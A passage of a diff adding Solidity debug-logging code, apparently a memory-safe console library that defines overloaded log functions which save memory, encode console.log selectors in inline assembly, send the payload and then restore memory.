+            mstore(0x20, m1)
+        }
+    }
+
+    function log(bytes32 p0) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(string)`.
+            mstore(0x00, 0x41304fac)
+            mstore(0x20, 0x20)
+            writeString(0x40, p0)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, address p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(address,address)`.
+            mstore(0x00, 0xdaf0d4aa)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(address p0, bool p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(address,bool)`.
+            mstore(0x00, 0x75b605d3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(address p0, uint256 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(address,uint256)`.
+            mstore(0x00, 0x8309e8a8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(address p0, bytes32 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,string)`.
+            mstore(0x00, 0x759f86bb)
+            mstore(0x20, p0)
+            mstore(0x40, 0x40)
+            writeString(0x60, p1)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(bool,address)`.
+            mstore(0x00, 0x853c4849)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(bool p0, bool p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(bool,bool)`.
+            mstore(0x00, 0x2a110e83)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(bool p0, uint256 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(bool,uint256)`.
+            mstore(0x00, 0x399174d3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(bool p0, bytes32 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,string)`.
+            mstore(0x00, 0x8feac525)
+            mstore(0x20, p0)
+            mstore(0x40, 0x40)
+            writeString(0x60, p1)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(uint256,address)`.
+            mstore(0x00, 0x69276c86)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(uint256 p0, bool p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(uint256,bool)`.
+            mstore(0x00, 0x1c9d7eb3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(uint256,uint256)`.
+            mstore(0x00, 0xf666715a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,string)`.
+            mstore(0x00, 0x643fd0df)
+            mstore(0x20, p0)
+            mstore(0x40, 0x40)
+            writeString(0x60, p1)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bytes32 p0, address p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(string,address)`.
+            mstore(0x00, 0x319af333)
+            mstore(0x20, 0x40)
+            mstore(0x40, p1)
+            writeString(0x60, p0)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bytes32 p0, bool p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(string,bool)`.
+            mstore(0x00, 0xc3b55635)
+            mstore(0x20, 0x40)
+            mstore(0x40, p1)
+            writeString(0x60, p0)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(string,uint256)`.
+            mstore(0x00, 0xb60e72cc)
+            mstore(0x20, 0x40)
+            mstore(0x40, p1)
+            writeString(0x60, p0)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,string)`.
+            mstore(0x00, 0x4b5c4277)
+            mstore(0x20, 0x40)
+            mstore(0x40, 0x80)
+            writeString(0x60, p0)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,address,address)`.
+            mstore(0x00, 0x018c84c2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, address p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,address,bool)`.
+            mstore(0x00, 0xf2a66286)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, address p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,address,uint256)`.
+            mstore(0x00, 0x17fe6185)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, address p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,address,string)`.
+            mstore(0x00, 0x007150be)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, bool p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,bool,address)`.
+            mstore(0x00, 0xf11699ed)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, bool p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,bool,bool)`.
+            mstore(0x00, 0xeb830c92)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, bool p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,bool,uint256)`.
+            mstore(0x00, 0x9c4f99fb)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, bool p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,bool,string)`.
+            mstore(0x00, 0x212255cc)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, uint256 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,uint256,address)`.
+            mstore(0x00, 0x7bc0d848)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, uint256 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,uint256,bool)`.
+            mstore(0x00, 0x678209a8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, uint256 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(address,uint256,uint256)`.
+            mstore(0x00, 0xb69bcaf6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, uint256 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,uint256,string)`.
+            mstore(0x00, 0xa1f2e8aa)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, bytes32 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,string,address)`.
+            mstore(0x00, 0xf08744e8)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,string,bool)`.
+            mstore(0x00, 0xcf020fb1)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, bytes32 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(address,string,uint256)`.
+            mstore(0x00, 0x67dd6ff1)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, p2)
+            writeString(0x80, p1)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(address p0, bytes32 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(address,string,string)`.
+            mstore(0x00, 0xfb772265)
+            mstore(0x20, p0)
+            mstore(0x40, 0x60)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p1)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bool p0, address p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,address,address)`.
+            mstore(0x00, 0xd2763667)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, address p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,address,bool)`.
+            mstore(0x00, 0x18c9c746)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, address p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(bool,address,uint256)`.
+            mstore(0x00, 0x5f7b9afb)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(bool p0, address p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(bool,address,string)`.
+            mstore(0x00, 0xde9a9270)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x60)
+            writeString(0x80, p2)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bool p0, bool p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
